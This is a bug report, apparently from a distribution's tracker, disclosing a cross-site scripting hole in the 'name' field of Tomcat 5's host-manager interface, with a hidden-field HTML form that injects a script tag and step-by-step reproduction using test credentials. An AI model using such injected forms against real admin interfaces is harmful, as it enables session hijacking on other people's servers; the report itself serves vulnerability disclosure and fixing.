Similarly as "alias" field in bug 247994 tomcat's host manager web interface
suffers from javascript exploit in the "name" field:

  Assume that after logged in, the victim was lead to the malicious web
  server with following file installed.
  <form action="http://localhost:8080/host-manager/html/add" method="get">
     <INPUT TYPE="hidden" NAME='name' VALUE="<script>alert()</script>">
     <INPUT TYPE="hidden" NAME='aliases' VALUE="somealias">
     <input type="submit">
  </form>

Steps to reproduce:

* install tomcat5 tomcat5-admin-webapps.
* edit /etc/tomcat5/tomcat-users.xml and add
   <role rolename="tomcat"/> 
   <user username="tomcat" password="tomcat" roles="tomcat,admin"/>
* restart tomcat5
* Visit http://localhost:8080/host-manager/html/add
* login with user name tomcat and password tomcat
* Enter the following:
      name: <script>alert("name-exploit!")</script>
      alias: somealias
* hit add.
* You should see the javascript alert box popping up.